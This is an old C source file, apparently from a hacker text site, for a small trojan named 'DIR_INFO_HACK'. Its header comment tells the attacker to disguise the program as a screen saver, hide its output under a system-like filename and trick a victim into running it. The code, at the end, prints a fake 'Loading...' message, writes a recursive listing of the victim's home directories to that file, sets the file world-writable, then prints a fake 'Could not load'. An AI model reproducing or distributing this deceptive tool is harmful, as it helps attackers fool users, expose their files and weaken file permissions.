/* DIR_INFO_HACK v1.3 for UNIX 

by NiDgiD (nidgid@thepentagon.com, 
http://members.tripod.com/~hack_texts/nidgid/

See http://members.tripod.com/~hack_texts/dir_info_hack.html for updates 
and/or new stuff related to dir_info_hack. Also at the site is a 
DOS/Windows version.

Usage: Change "filename" in the source to whatever you want it to be called. 
Now you want this filename to be a regular system filename. I had a 
Dos/Windows version of this exploit that would save it as 
C:\windows\system\win32h08.dll. The hacker could send the program to the 
person telling him it was a screen saver (or something), then when run, it 
would prompt: "Loading...", then map out his hard drive to a .dll. That is 
good because nobody ever thinks of opening a .dll in Notepad! Use your 
imagination. Once you have decided on a filename, then send it to him telling 
him it is the something cool, then ask him for the filename and boom. 
You've got a directory listing of everything on his shell account.

What it does: This C code will NOT map out the whole hard drive. It will map 
out the users home directories. When I was beta testing, I had this program 
map out the whole system, and frankly, it took too darn long. They would 
catch on that it was something and would never work on anybody with half a 
brain. If you can make a way to map out the whole hard drive in less than 15 
seconds, then mail me letting me know. After the program saves a listing of 
the users files and directories to disk, it will then give the filename 
read, write, and executable privileges. Once finished, it prints "Could not 
load" then ends. dir_info_hack will also show hidden files. */


#include "stdio.h"

main()
{

printf("Loading...\n");
system("ls -alR > filename");
system("chmod a+rwx filename");
printf("Could not load");

}